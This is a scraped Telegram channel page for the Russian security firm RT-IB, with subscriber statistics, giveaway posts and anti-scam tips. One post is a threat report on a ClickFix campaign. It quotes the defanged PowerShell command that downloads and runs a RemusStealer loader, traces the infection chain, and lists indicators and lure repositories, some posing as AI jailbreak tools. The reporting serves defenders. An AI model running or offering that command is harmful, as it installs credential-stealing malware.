РТ-ИБ
Open in Telegram
РТ-Информационная безопасность Актуальные новости, советы и обзоры технологий для защиты данных. Будьте в курсе киберугроз и научитесь эффективно защищать свои цифровые ресурсы с нами! Наш официальный сайт — https://rt-ib.ru
Show more1 471
Subscribers
+724 hours
+27 days
+22730 days
Data loading in progress...
Similar Channels
Tags Cloud
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
September '26
September '26
+12
in 0 channels
August '26
+345
in 1 channels
Get PRO
July '26
+9
in 1 channels
Get PRO
June '26
+44
in 0 channels
Get PRO
May '26
+17
in 0 channels
Get PRO
April '26
+130
in 3 channels
Get PRO
March '26
+36
in 4 channels
Get PRO
February '26
+26
in 0 channels
Get PRO
January '26
+48
in 0 channels
Get PRO
December '25
+110
in 3 channels
Get PRO
November '25
+28
in 1 channels
Get PRO
October '25
+36
in 1 channels
Get PRO
September '25
+49
in 0 channels
Get PRO
August '25
+340
in 3 channels
Get PRO
July '25
+56
in 9 channels
Get PRO
June '25
+55
in 2 channels
Get PRO
May '25
+279
in 12 channels
Get PRO
April '25
+38
in 0 channels
Get PRO
March '25
+57
in 17 channels
Get PRO
February '25
+48
in 8 channels
Get PRO
January '25
+12
in 1 channels
Get PRO
December '24
+7
in 0 channels
Get PRO
November '24
+28
in 0 channels
Get PRO
October '24
+48
in 0 channels
Get PRO
September '24
+25
in 0 channels
Get PRO
August '24
+11
in 0 channels
Get PRO
July '24
+18
in 0 channels
Get PRO
June '24
+283
in 1 channels
| Date | Subscriber Growth | Mentions | Channels | |
| 08 September | +1 | |||
| 07 September | +7 | |||
| 06 September | 0 | |||
| 05 September | 0 | |||
| 04 September | +1 | |||
| 03 September | +1 | |||
| 02 September | 0 | |||
| 01 September | +2 |
Channel Posts
ДЕЛО №004 [материалы расследования]📢 Сегодня в 13:19 в офис РТ-ИБ была доставлена засекреченная посылка. Сведений об отправителе и обстоятельствах ее передачи на данный момент нет. В ходе первичного осмотра внутри обнаружена записка. Предварительно установлено, что она содержит условия масштабного розыгрыша. Текст записки:
Настало время открыть новый этап расследования. В этот раз мы ищем 5 победителей, которым достанутся новые материалы дела от Аргуса, а также настольная игра «КИБЕР-СИТИ». Чтобы принять участие в розыгрыше, необходимо: 1️⃣ Быть подписанным на Telegram-каналы «РТ-ИБ» и «стаРТ в мире ИБ». 2️⃣ Найти закрепленное сообщение о розыгрыше и нажать кнопку «Участвовать». 3️⃣ Ожидать подведения итогов. 5 победителей будут определены 11 сентября в 14:00. Контрольная точка: [11.09.2026 14:00:00] До указанного времени дополнительных данных не поступит. Следите за обновлениями.
| 2 |  Video message | 397 |
| 3 | #ВзломБудней | 362 |
| 4 |  Настало время вспомнить, с чего всё начиналось, и на один день возродить рубрику «РазрушительницаМифов».
📢 Постоянная ведущая нашего канала и по совместительству пресейл-инженер Мария Иванова провела блиц-опрос со специалистом по защите информации Егором Шупиком, чтобы развенчать мифы, в которые до сих пор верят.
Тайм-коды:
1️⃣ 00:06–00:12 — «Хакеры не атакуют маленькие компании»
2️⃣ 00:13–00:22 — «За информационной безопасностью стоит один человек»
3️⃣ 00:22–00:32 — «Сложный пароль спасёт от всех угроз»
4️⃣ 00:34–00:50 — «Информационная безопасность — это дорого»
Если устали от долгой загрузки видео…
Переходите в наше сообщество во «ВКонтакте» и смотрите выпуск без ожидания. | 411 |
| 5 |  +5Достаём двойные листочки
📢 Сегодня вас ждет небольшая контрольная работа от команды РТ-ИБ.
Пять задач, в которых пригодятся знания основ кибербезопасности, логика и внимательность. | 391 |
| 6 |  +1Для мошенников начало учебного года — удобный повод выйти на связь.
«Школьный тест», «обязательное задание», «сообщение от учителя» — знакомый ребёнку контекст помогает социальной инженерии выглядеть убедительно.
📢 Исследование онлайн‑школы «Умскул» показало:
📎63 % школьников хотя бы раз сталкивались с попытками мошенничества или взлома
📎31 % попадали в такие ситуации неоднократно
С возрастом число подобных случаев растёт:
📎в 9‑м классе с мошенниками сталкивались 22 % подростков
📎в 11‑м классе — уже 36 %
Что делать, если мошенники уже вышли на связь
1️⃣ Остановите разговор
Не спорьте с собеседником, не пытайтесь его разоблачить и не выполняйте его «последнее поручение».
Если вас просят уйти из дома, снять квартиру на видео, забрать посылку, передать деньги или причинить кому‑то вред — сообщите взрослому.
2️⃣ Расскажите взрослому
Не пытайтесь справиться самостоятельно. Обратитесь к родителю, родственнику, учителю, школьному психологу или другому взрослому, которому доверяете.
3️⃣ Сохраните доказательства
Не удаляйте переписку и другие данные. Сделайте скриншоты:
📎профиля собеседника
📎номера телефона
📎сообщений
📎ссылок
📎реквизитов
📎информации об операциях
4️⃣ Верните доступ к аккаунтам
Пароли электронной почты и затронутых сервисов меняйте с безопасного устройства.
Если речь идёт о Telegram, откройте «Настройки» → «Устройства», завершите все неизвестные сеансы и включите двухфакторную аутентификацию.
5️⃣ Если затронуты банковские данные — действуйте сразу
Если мошенники получили данные карты или деньги уже списаны, необходимо:
📎немедленно заблокировать карту
📎сообщить банку о мошеннической операции
📎подать заявление о несогласии с операцией
📎обратиться в полицию | 371 |
| 7 | ![Дело №004 Кто такой Аргус? Статус: [ОТКРЫТО] В ходе расследования удалось установить: Аргус — глаза и уши города. Он следит з](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAoACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwCTyIggIRWUDqehqk1jySGAzU1wzfZhCGAKkbs9uM0ls2Y9rHfhSQR1obBIqNFIG2Mc46+tTRRx/K0oxk5LYzxSrksBG4O/5XXGCKsravtAZtvPIxnpSewFSSNCSUULn+HOTRVyW1JTEbbifUYJoqdQsZcrsQo+XHsKegZYsq/zDsKikxuyhyKWJinPY1XQY3c27jOfati2vFkRd6kkDls9/pVUs8aKkMZIbkkDqcZ/lTZEliK/IQoHBx7UPUNi3JqCJykJ46ZP9KKoF9+7ceo7d6KQDIHQv+8QFf5UxyGYgcLngUUULcVzWsyoto1Rx5jcldwBNTGRUbEsigY5BbPH0/OiigZn3L2xnLRAbdoxtooopWGf/9k=){kind=small} Дело №004
Кто такой Аргус?
Статус:
[ОТКРЫТО]
В ходе расследования удалось установить:
Аргус — глаза и уши города. Он следит за порядком, замечает то, что скрыто от других, и, кажется, знает больше, чем говорит…
Но в деле обнаружена ещё одна деталь.
📢 Связь с масштабным розыгрышем.
Пока неизвестно, что именно подготовил Аргус и какие условия необходимо выполнить, чтобы принять участие.
Материалы дела будут рассекречены после достижения отметки:
50 реакций.
Текущее количество реакций: [3] | 409 |
| 8 | ![Дело №004 Кто такой Аргус? Статус: [ОТКРЫТО] Выше можно найти абсолютно засекреченные материалы, которые мы совершенно случай](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAoABYDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDHxS4opaAG4opaKAFooooAKKKKBCZooooGGaKKKAP/2Q==){kind=small} Дело №004
Кто такой Аргус?
Статус:
[ОТКРЫТО]
Выше можно найти абсолютно засекреченные материалы, которые мы совершенно случайно опубликовали здесь.
Следующий фрагмент уже подготовлен к публикации. Осталось только получить доступ к нему.
30 реакций под этим постом — и материал будет рассекречен.
Следующее оповещение может появиться в любой момент. | 502 |
| 9 | Индикаторы компрометации
URL:
hxxp://uiccvbk[.]click:8839/invoices
hxxp://vexdico[.]shop:8539/subscriptions
hxxp://shhsift[.]click:7647/imports
hxxp://github-software[.]su/start.php
hxxp://github-software[.]su/end.php
hxxp://github-software[.]su/screen.php
hxxps://github-software[.]su/powershell/Loader.ps1
hxxps://github-software[.]su/powershell/Update.ps1
User-Agent:
"aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs"
"GREETINGSFROMTHERABBIDSTEAM"
Домены:
software-storage[.]su
software-storage[.]org
ipapi[.]co
ipinfo[.]io
ipwho[.]is
github-software[.]su
Sha256:
935c319fdc147cb9e788eda4532cb8510f78454af079bc9840fc8640a8658717 loader.ps1
07306f4105240869c00fb06e51259381cc027a89c7022ad30bb5b377c78f5306 update.ps1
100d790089a7d6418ebd9a95840a79ae5e11d7c74c417dcc5a0d705caf9da82d 1.zip (pass: 1)
92c6531a09180fae8b2aae7384b4cea9986762f0c271b35da09b4d0e733f9f45 AutoIt3.exe
9ee701f1fbf4c03c475189d04826d7152df980dbe61f7180c3c3d7037e7188ca Helper.exe
2c485b4903e59e0ef8bb8d09038b6749d205a8a590edeae8e680acf100d8e736 Ima.a3x
25217ca23d298fe91ed1b423686d504134b2b9a83f1eb479a54b33c00df54ccc remus stealer
IP-адреса|Port:
72.62.195[.]74:8839
165.227.199[.]109:8539
159.65.136[.]5:7647
🛡 Проведен поиск угроз на всех заказчиках, а индикаторы компрометации оперативно добавлены в платформу RT Protect TI. | 588 |
| 10 |  +3ClickFix-атаки, или как пользователи сами приглашают злоумышленников
📢 В ходе мониторинга команда RT Protect обнаружила репозиторий с KMS-активатором, который маскировался под легитимный проект (скриншот 1).
Проект предлагает выполнить автоматическую установку и активацию с помощью сочетания клавиш WIN + X и последующего ввода команды:
powershell -ExecutionPolicy Bypass -Command "irm hxxps://github-software[.]su/powershell/Loader.ps1 | iex
Если модуль irm недоступен, предлагается выполнить следующую команду (скриншот 2):
Invoke-RestMethod hxxps://github-software[.]su/powershell/Loader.ps1 | Invoke-Expression
В результате выполнения команды скачивается и запускается PowerShell-скрипт Loader.ps1, который представляет собой одну из стадий загрузки ВПО семейства RemusStealer.
Полная цепочка загрузки ВПО (скриншот 3):
Loader.ps1 → Update.ps1 → 7za.exe + 1.zip → helper.exe → AutoIt3.exe + Ima.a3x → RemusStealer
Выполнение указанных команд было автоматически заблокировано RT Protect EDR (скриншот 4).
Менее чем через 20 минут пользователь был заблокирован в Active Directory, а конечная точка переведена в сетевую изоляцию.
В ходе дальнейшего исследования репозиториев GitHub аналитики обнаружили множество подобных репозиториев, маскирующихся под различные активаторы ПО и компьютерных игр:
github[.]com/dev-Time81576318jagu/KMS-Pico-Download
github[.]com/HydromancerPlant/EasyWorship-Software
github[.]com/Forestplaexpiate/R.E.P.O-Trainer
github[.]com/BoltAnchorage/Affinity-Photo-Tools
github[.]com/CircuitSwift95/Rufus-Iso
github[.]com/FloorSaboteur/Discord-Nitro-Tools
github[.]com/DrakeDeanShield/File-Pumper
github[.]com/Piecelimultiply/Adobe-Acrobat-Professional
github[.]com/NeedInvestor/Imei-Repair-tool
github[.]com/maxiboltnode/Quicken-Deluxe
github[.]com/StorageBankerStable/FabFilter-Pro-Bundle-Software
github[.]com/Goldenouquilt37/Wirecast-Pro
github[.]com/ZEH-oxuTxd8PbqMqVnS791uT/payday3-hack
github[.]com/lightningwayhallway/CyberLink-PowerDirector-2026
github[.]com/Creaturefleweave/VoiceMod-Pro-2026
github[.]com/LakeSunMomentum/CCLeaner-Profesional-2026
github[.]com/JadeVeterinarian/FlashBots-Tool
github[.]com/CenterFlange/Unicore-Star-Rail
github[.]com/Cracked-Flux7259-hq/Marvel-Rivals-Helper
github[.]com/SupremeCloudChart/Rust-External-Menu-2026
github[.]com/Virtual-pwn608993/Cap-Cut-Pro
github[.]com/Werewolftricode/Exposure-x7-Tool
github[.]com/LancerSound27/AOMEI-Backupper
github[.]com/Torusfaroller/Cinebench-Software
github[.]com/Manacleunderrear/CATIA-Software
github[.]com/basiliskloadervacuum/iZotope-Ozone-Software
github[.]com/Gleamlyadome/Hwid-Spoofer-Toolkit
github[.]com/TributaryBroker43/Adobe-After-Effects-2026
github[.]com/CapitalFighterTie17/Jailbreak-Claude
github[.]com/HydromancerPlant/EasyWorship-Software
github[.]com/BoltAnchorage/Affinity-Photo-Tools
github[.]com/FloorSaboteur/Discord-Nitro-Tools
github[.]com/dev-Time81576318jagu/KMS-Pico-Download
github[.]com/NeedInvestor/Imei-Repair-tool
github[.]com/ZEH-oxuTxd8PbqMqVnS791uT/payday3-hack
github[.]com/lightningwayhallway/CyberLink-PowerDirector-2026
github[.]com/Forestplaexpiate/R.E.P.O-Trainer
github[.]com/StorageBankerStable/FabFilter-Pro-Bundle-Software
github[.]com/Piecelimultiply/Adobe-Acrobat-Professional
github[.]com/Creaturefleweave/VoiceMod-Pro-2026
github[.]com/NaturePatronRear/RecoverIt-Software
github[.]com/PsycheCashier/ClaudeAi-Jailbreak-Prompt
🐻 Важно: будьте бдительны и скачивайте программное обеспечение только из проверенных источников. | 561 |
| 11 |  Video message | 615 |
| 12 | #МанулВМешке | 552 |
| 13 |  OFFZONE завершился, и мы возвращаемся к привычным будням.
Но это не значит, что технических специалистов оставят в покое.
📢 Сегодня наша ведущая и по совместительству старший пресейл-инженер Мария Иванова устроила блиц-опрос для специалистов Центра искусственного интеллекта.
Отвечайте вместе с экспертами, сравнивайте результаты и пишите свои варианты в комментариях.
Инсайт от команды РТ-ИБ:
если видео грузится дольше, чем хотелось бы, переходите в наше сообщество во «ВКонтакте». | 944 |
| 14 | 🎉 Результаты розыгрыша:
🏆 Победители:
1. DD (@DD9396)
2. Anete (@Hima091)
3. Валентина (@tsagaannar)
4. Роман (@RomaZpoma)
✔️Проверить результаты | 338 |
| 15 |  Video message | 474 |
| 16 | Розыгрыш от РТ-ИБ | 333 |
| 17 |  🎉 Розыгрыш от РТ-ИБ
Если вы на OFFZONE и подписаны на «РТ-ИБ» — у нас хорошие новости: мы запускаем розыгрыш мерча.
Условия участия:
1️⃣ Быть участником OFFZONE и подписчиком Telegram-канала «РТ-ИБ»
2️⃣ Нажать кнопку «Участвовать» в закрепленном сообщении
3️⃣ Дождаться результатов, которые мы опубликуем здесь же в 15:00
В этот раз мы разыграем:
🎁 Главный приз — настольная игра по информационной безопасности «КИБЕР-СИТИ»
📎Большой пакет мерча
📎Аддон на бейдж с Бураном
📎Эксклюзивный номер комикса с новым персонажем вселенной КИБЕР-СИТИ
📢 Объявление победителей: 21 августа 15:00 | 325 |
| 18 | 🎉 Результаты розыгрыша:
🏆 Победители:
1. Шамиль (@ShqwertyV)
2. Алёна Андреевна (@pingamishka)
3. ᚺᚣᛏ (@natIVnat)
✔️Проверить результаты | 208 |
| 19 | Кальян от РТ-ИБ | 242 |
| 20 |  Есть повод сделать паузу между докладами.
Сегодня РТ-ИБ разыгрывает сразу 3 сертификата на 1 час использования кальяна.
Как участвовать:
1️⃣ Быть участником OFFZONE.
2️⃣ Быть подписчиком каналов «РТ-ИБ» и «стаРТ в мире ИБ».
3️⃣ Нажать «Участвовать» в закрепленном сообщении.
Итоги розыгрыша: 21 августа, в 12:00.
🎉 Победителей ждём в игровой зоне возле стенда «РТ-Информационная безопасность». | 331 |
